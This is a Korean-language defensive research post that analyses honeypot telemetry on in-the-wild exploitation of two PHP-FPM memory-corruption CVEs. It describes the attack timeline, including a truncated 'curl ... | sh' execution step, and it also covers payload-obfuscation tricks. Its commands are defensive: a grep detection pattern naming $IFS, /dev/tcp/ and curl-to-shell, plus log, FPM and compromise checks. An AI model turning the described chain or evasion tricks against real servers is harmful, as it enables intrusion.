exploitation php2shell honeypot telemetry

야생에서 관측된 무기화 체인: 허니팟 텔레메트리와 실제 공격 분석

php2shell.run Research Lab •

야생에서 관측된 무기화 체인: 허니팟 텔레메트리와 실제 공격 분석

<time datetime="2026-10-23">검증일: 2026년 10월 23일</time>

CVE-2026-109618과 CVE-2026-109619 공개 이후 48시간 내에 자동화된 스캔과 무기화 시도가 관측되었습니다. 이 문서는 프랑크푸르트와 실리콘밸리에 배치된 허니팟에서 수집한 텔레메트리를 요약하고, 실제 공격자가 어떤 엔지니어링 지름길을 사용했는지 방어 관점에서 분석합니다. IP와 도메인은 마스킹했습니다.


1. 실제 공격 시퀀스와 생명주기

 T+0s     [ 정찰 ] 비무작위 스캔: /index.php, /login, /.env, /wp-login.php
          └─ 멀티파트 파서가 라우팅 이전에 동작함을 노림

 T+3s     [ 그루밍 ] 소형 multipart POST 12~30회
          └─ ZMM Bin 상태 정렬, PHP_SESSION_UPLOAD_PROGRESS 필드 포함

 T+8s     [ 트리거 ] 세션 리셋 유도 + Fake zval 덮어쓰기
          └─ 워커 1~2회 SIGSEGV (정상적으로 보이는 502/504 발생)

 T+12s    [ 실행 ] www-data 권한으로 sh -c "curl ... | sh"
          └─ 이후 아웃바운드 C2 연결

 T+20s    [ 확립 ] 웹셸 또는 리버스 셸 유지, 권한 상승 시도

허니팟에서 관측된 요청은 대부분 500바이트 미만이었고, User-Agent는 실제 브라우저 문자열을 복사한 경우가 많았습니다. 반면 Accept-Language와 TLS 지문은 자동화 도구의 특징을 보였습니다.


2. 공격자가 사용한 세 가지 엔지니어링 지름길

2.1 짧은 버스트로 동시성 지터 극복

FPM 워커 풀에서 두 요청이 같은 워커에 배정되려면 타이밍이 맞아야 합니다. 공격자는 12~30개의 요청을 수 초 내 버스트로 보내 워커 재사용 확률을 높입니다.

# 방어 관점: 버스트 탐지
sudo awk '{print $1}' /var/log/nginx/access.log | \
  sort | uniq -c | sort -rn | head -20

2.2 사전 계산된 오프셋 테이블

대부분의 시도는 Ubuntu 22.04/24.04, Debian 12, 공식 php:8.2/8.3-fpm Docker 이미지를 대상으로 했습니다. 이 이미지들의 libc와 PHP 빌드는 널리 알려져 있어, 공격자는 오프셋을 미리 계산해 정보 유출 단계를 생략합니다.

# 컨테이너 이미지의 libc 버전 고정 여부 확인
docker run --rm php:8.3-fpm sh -c 'ldd --version | head -1'
docker run --rm php:8.3-fpm php -i | grep -E 'Build Date|Configure Command'

2.3 공백 없는 페이로드 압축

셸 명령은 공백을 최소화하고 $IFS, ${IFS} 등으로 대체됩니다. 이는 단순 문자열 시그니처를 회피합니다.

# 의심스러운 셸 메타문자 조합 탐지 (예시)
grep -E '\$\{?IFS\}?|base64 -d|/dev/tcp/|curl.*\|.*sh' /var/log/nginx/access.log

3. 사후 대응의 함정

함정 1: 일반 Nginx 액세스 로그에는 흔적이 없다

공격 요청은 정상적인 POST로 보이고, 응답 코드도 200, 404, 413 등 평범합니다. 본문은 로그에 남지 않으며, 침해는 사용자 코드 실행 전에 완료됩니다. 따라서 요청 본문 캡처(mirror), FPM 슬로우 로그, 워커 재시작 이벤트를 함께 봐야 합니다.

# 의심 경로만 본문 미러링 (디스크/개인정보 영향 고려)
location ~ \.php$ {
    mirror /mirror;
    mirror_request_body on;
}
location = /mirror {
    internal;
    proxy_pass http://127.0.0.1:9001$request_uri;
}

함정 2: 아웃바운드 방화벽만 신뢰한다

공격자는 DNS 터널링, HTTPS C2, 합법 클라우드 스토리지 등으로 아웃바운드를 우회합니다. 아웃바운드 차단은 필수지만 충분하지 않습니다. Falco/eBPF로 프로세스 생성 자체를 탐지해야 합니다.

함정 3: 워커 재시작을 정상 장애로 오인한다

SIGSEGV로 인한 워커 종료는 FPM이 자동 복구하므로 모니터링에서 놓치기 쉽습니다. emergency_restart_threshold와 코어 덤프 보존을 설정하고, 재시작 빈도를 알림에 포함하십시오.

; php-fpm.conf
emergency_restart_threshold = 5
emergency_restart_interval = 1m
# 코어 덤프 활성화 (systemd)
sudo systemctl edit php8.3-fpm
# [Service]
# LimitCORE=infinity

4. 운영자 FAQ

Q1. Cloudflare나 엣지 CDN이 이런 공격을 막을 수 있나요?

부분적으로만 가능합니다. 엣지 WAF는 알려진 시그니처와 속도 제한에는 유효하지만, 450바이트 멀티파트 페이로드와 인코딩 변형에는 취약합니다. 엣지는 시간을 벌어주는 계층이며, 근본 해결은 PHP 패치입니다.

Q2. 서버가 침해되지 않았는지 가장 빠르게 확인하는 방법은?

다음 세 가지를 동시에 점검하십시오.

# 1) 패치 상태
php -v
dpkg -l | grep -E '^ii\s+php' || rpm -qa | grep -i '^php'

# 2) 최근 생성된 의심 파일
find /var/www /tmp /dev/shm -type f -mtime -2 -perm -u+x -ls 2>/dev/null

# 3) www-data 권한의 비정상 프로세스/연결
ps -eo pid,user,cmd | awk '$2=="www-data"||$2=="nginx"'
ss -tpn | grep -E 'www-data|php-fpm'

Q3. 허니팟 텔레메트리를 우리 환경에 어떻게 적용하나요?

관측된 요청의 구조(경로, 본문 크기, 필드 이름, 버스트 간격)를 Suricata/Falco 규칙으로 변환하고, 짧은 기간 동안 alert만 발생시켜 오탐을 측정한 뒤 차단으로 전환하십시오.

Q4. 공격이 성공했다면 가장 먼저 무엇을 해야 하나요?

  1. 해당 워커/컨테이너를 격리하고 메모리 스냅샷을 보존합니다.
  2. 세션 저장소와 애플리케이션 자격 증명을 회전합니다.
  3. session.upload_progress.enabled=Off를 즉시 적용하고 패치 버전으로 업그레이드합니다.
  4. 아웃바운드 연결 로그와 DNS 쿼리를 보존하여 C2 범위를 확정합니다.

5. 결론

야생 공격은 "정교한 제로데이"라기보다 잘 알려진 메모리 손상 기법의 자동화에 가깝습니다. 공격 비용이 낮고 성공 보상이 크기 때문에, 스캔은 공개 직후 수 시간 내에 시작됩니다. 방어팀은 다음 우선순위로 대응해야 합니다.

  1. 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 이상으로 업그레이드
  2. 업그레이드 전까지 session.upload_progress.enabled=Off
  3. FPM 재시작 임계값과 코어 덤프 보존
  4. Suricata + Falco + auditd 상관 경보

허니팟 텔레메트리는 방어 연구 목적으로만 사용되며, 실제 공격 인프라 정보는 공유하지 않습니다.